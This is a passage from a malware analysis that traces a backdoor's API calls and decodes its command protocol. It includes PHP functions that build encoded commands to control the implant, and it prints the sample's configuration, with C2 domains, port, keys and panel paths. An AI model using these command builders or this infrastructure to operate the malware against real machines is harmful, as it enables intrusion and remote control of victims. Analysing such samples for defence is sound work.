[RET] [0x102048193]
[CNT] [367]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0 (null)
[PAR] PSID lpSid : 0x0
[PAR] LPTSTR lpName : 0x000000010218E7E0
[PAR] LPDWORD cchName : 0x000000010218E7C0
[PAR] LPTSTR lpReferencedDomainName : 0x000000010218E9E8
[PAR] LPDWORD cchReferencedDomainName : 0x000000010218E7C0
[PAR] PSID_NAME_USE peUse : 0x000000010218E7C4
[RET] [0x102048193]
[CNT] [368]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0 (null)
[PAR] PSID lpSid : 0x0
[PAR] LPTSTR lpName : 0x000000010218E7E0
[PAR] LPDWORD cchName : 0x000000010218E7C0
[PAR] LPTSTR lpReferencedDomainName : 0x000000010218E9E8
[PAR] LPDWORD cchReferencedDomainName : 0x000000010218E7C0
[PAR] PSID_NAME_USE peUse : 0x000000010218E7C4
[RET] [0x102048193]
[...]
III. Result
[CNT] [459]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000001001AF0F0
[STR] -> "F3D8"
[STR] "localhost 31"
[STR] "1|1884|home\user|taskhostex.exe"
[STR] "1|1960|home\user|explorer.exe"
[STR] "1|2744|home\user|VBoxTray.exe"
[STR] "1|3040|home\user|Graphical Loader.exe"
[STR] "1|3004|home\user|cmd.exe"
[STR] "1|2908|home\user|conhost.exe"
[STR] "1|1548|home\user|rundll32.exe"
[PAR] DWORD cbBinary : 0x1d0
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000001001DB560
[PAR] DWORD* pcchString : 0x000000010218E6DC
[RET] [0x10203e028]
UpdateConfig
This command will update the malware with a full, new configuration file.
function UpdateConfig($config)
{
$cmd_id = "\xbf\xb6 $config";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
This is the unencrypted default configuration from the analysed sample :
||0|5|5|100||||||||||||0|1
|greshunka.com,bazarunet.com,tiguanin.com
|8041
|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
|OV1T557KBIUECUM5
|S47EFEUO3D2O6641
|/bazar.php,/admin.php
|
|d0cf9d2be1473579e729382f5c2e22c6713503a7a74fecf866732f59399132fe
count_exec_cmd
This command is ‘supposed’ to execute n times a given command with a timer between each execution :
There is however a design flaw here since the function executing the command ends with an ExitThread :
The loop is broken by the ExitThread, invalidating the purpose of this command…
Below a run exemple after removing the unnecessary Exit Thread :
/*
$p1 "int" cmd exec count
$p2 "int" Sleep in sec
$p3 "command id"
*/
// ex : count_exec_cmd("3", "3", "\x09\x06")
function count_exec_cmd($count, $sleep, $cmd)
{
$cmd_id = "\xa9\xb3 $count $sleep $cmd";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [4916]
[PTP] [0x7ec] [0x9cc] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000D2512D7D20
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+ZenYSNMhHwLy1j2M"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000D2512EBB10
[PAR] DWORD *pcbBinary : 0x000000D25320EC5C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xd25316bea1]
II. Execution
[CNT] [4959]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <GetLogicalDrives> in [KERNEL32.DLL]
[RET] [0xd253174125]
[CNT] [4961]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000D2512D7F60
[STR] -> "0906"
[STR] "C:\"
[STR] "D:\"
[STR] "X:\"
[STR] "Y:\"
[STR] "Z:\"
[PAR] DWORD cbBinary : 0x32
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000D2512E44C0
[PAR] DWORD* pcchString : 0x000000D25329EF0C
[RET] [0xd25316e028]
[CNT] [4962]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <WaitForSingleObjectEx> in [KERNEL32.DLL]
[PAR] HANDLE hHandle : 0xffffffff
[PAR] DWORD dwMilliseconds : 0xbb8 // 3s
[PAR] BOOL bAlertable : 0x0
[RET] [0xd253181c8b]
[CNT] [5026]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <GetLogicalDrives> in [KERNEL32.DLL]
[RET] [0xd253174125]
[CNT] [5028]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000D2512D7F60
[STR] -> "0906"
[STR] "C:\"
[STR] "D:\"
[STR] "X:\"
[STR] "Y:\"
[STR] "Z:\"
[PAR] DWORD cbBinary : 0x32
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000D2512E4100
[PAR] DWORD* pcchString : 0x000000D25329EF0C
[RET] [0xd25316e028]
[CNT] [5029]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <WaitForSingleObjectEx> in [KERNEL32.DLL]
[PAR] HANDLE hHandle : 0xffffffff
[PAR] DWORD dwMilliseconds : 0xbb8
[PAR] BOOL bAlertable : 0x0
[RET] [0xd253181c8b]
[CNT] [5077]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <GetLogicalDrives> in [KERNEL32.DLL]
[RET] [0xd253174125]
[CNT] [5079]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000D2512D7AE0
[STR] -> "0906"
[STR] "C:\"
[STR] "D:\"
[STR] "X:\"
[STR] "Y:\"
[STR] "Z:\"
[PAR] DWORD cbBinary : 0x32
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000D2512E47E0
[PAR] DWORD* pcchString : 0x000000D25329EF0C
[RET] [0xd25316e028]
[CNT] [5080]
[PTP] [0x7ec] [0xac0] [c:\windows\system32\rundll32.exe]
[API] <WaitForSingleObjectEx> in [KERNEL32.DLL]
[PAR] HANDLE hHandle : 0xffffffff
[PAR] DWORD dwMilliseconds : 0xbb8
[PAR] BOOL bAlertable : 0x0
[RET] [0xd253181c8b]
III. Result
A6D4
2 27520906
C:\
D:\
X:\
Y:\
Z:\